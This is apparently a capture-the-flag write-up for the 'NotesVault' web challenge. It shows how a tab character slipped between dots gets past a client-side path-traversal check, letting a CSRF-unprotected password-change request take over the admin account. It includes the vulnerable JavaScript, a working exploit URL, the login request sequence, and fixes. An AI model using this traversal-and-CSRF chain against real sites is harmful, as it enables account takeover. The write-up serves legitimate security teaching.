<- cd ../ (back to ~/writeups on the homepage)

[ writeup · case #033 ]

NotesVault

Admin account takeover. A client-side slug validator blocks ../ but not raw tab/newline/CR, which browsers strip while parsing a URL. Combined with a CSRF-less, no-old-password change endpoint and the draft feature, the admin bot changes its own password to one I pick — log in as admin and read the flag.

date
2026-10-11
read
2 min
tags
#ctf #web #account-takeover #csrf
event
Securinets ENIT — Cat the Flag v3
category
web
points
170
placement
1st place
  • Event: Securinets ENIT
  • Category: Web
  • Author: h1dr1
  • Target: http://web.securinets-enit.club:8050
  • Flag: SecurinetsENIT{b711404b331953ec2e061188ff1ce6e0}

TL;DR

Admin account takeover. The client-side slug validator in app.js blocks .. and percent-encoded dots/slashes but not raw tab/newline/CR. Browsers strip those control chars while parsing a URL, so file=".\t./profile/password" survives the check and resolves to /api/v1/profile/password. The draft feature turns that into a POST with the victim's cookie, and the password-change endpoint has no CSRF token and no old-password check. Report the crafted link → the admin bot changes its own password to a value I pick → log in as admin → GET /api/v1/admin/flag.

Recon

  • Express app, session-cookie auth (session=, HttpOnly, SameSite=Lax).
  • Notes are client-rendered: app.js reads location.hash, fetches /api/v1/notes/<file>, and writes the result with innerText (so no XSS in note content).
  • Notes are private by default, keyed by a global single-segment slug, owner-scoped for read/write. No publicity toggle, no ownership-transfer mass-assignment.
  • /report sends a URL to an admin bot that opens it in a real browser — but only same-origin links (http://web.securinets-enit.club:8050/...).
  • The admin's welcome note is just "hi"; the flag lives behind GET /api/v1/admin/flag, which returns {"error":"Admins only."} to normal users.

So: no XSS sink, only a same-origin write primitive via the admin. The chain has to run through server state.

The bug

app.js:

js
const file = new URLSearchParams(location.hash.slice(1)).get('file') || 'welcome';

function isSafeSlug(slug) {
  if (typeof slug !== 'string' || slug.length === 0 || slug.length > 120) return false;
  if (slug.includes('..')) return false;
  if (slug.includes('\\')) return false;
  if (/%2e|%2f|%5c|%25/i.test(slug)) return false;   // blocks encoded . / \ %
  return true;
}

const target = new URL('/api/v1/notes/' + file, location.origin);

const draft = params.get('draft');
if (draft !== null) {
  fetch(target.href, {               // POST with the victim's cookie
    method: 'POST',
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
    body: draft,
    credentials: 'same-origin',
  });
}

isSafeSlug blocks literal .., \, and the percent-encoded forms. It does **not** block the raw control characters \t (0x09), \n (0x0A), \r (0x0D). The WHATWG URL parser (both Node and Chromium) *removes* those characters from the input before parsing. So a tab placed between two dots defeats the includes('..') check but reassembles into .. inside new URL:

js
isSafeSlug(".\t./profile/password")                        // true
new URL("/api/v1/notes/" + ".\t./profile/password", base)  // -> /api/v1/profile/password

Combined with:

  • /api/v1/profile/password accepts POST password=<new> with no CSRF token and no current-password check — it just updates the logged-in user's password.
  • The admin bot opens same-origin links as admin, so app.js's fetch carries the admin session (same-site navigation + same-origin fetch, so SameSite=Lax is fine).

Exploit

Reported this link to the bot (.%09. is the tab, %3D keeps the = inside draft):

text
http://web.securinets-enit.club:8050/#file=.%09./profile/password&draft=password%3Dpwn_SECRET

Flow in the admin's browser:

  1. file decodes to .\t./profile/password, passes isSafeSlug.
  2. new URL → https://.../api/v1/profile/password.
  3. draft is present → POST password=pwn_SECRET with the admin cookie.
  4. Admin's password is now pwn_SECRET.

Finding the admin username

Login had no user-enumeration (every failure was an identical 401). I didn't need it: after the password change, I brute-forced candidate usernames against the known new password — only the admin account accepts it. First hit: admin.

Grab the flag

text
POST /login            username=admin&password=pwn_SECRET      -> 302 (admin session)
GET  /api/v1/admin/flag                                        -> {"title":"Flag","content":"SecurinetsENIT{...}"}
text
SecurinetsENIT{b711404b331953ec2e061188ff1ce6e0}

Fix

  • Validate the slug server-side; never trust app.js.
  • Reject control characters (and/or validate against an allowlist like ^[a-z0-9_-]+$) before building URLs.
  • Add a CSRF token and require the current password on /api/v1/profile/password.
  • Don't let a user-supplied path fragment reach a URL that can traverse to other endpoints.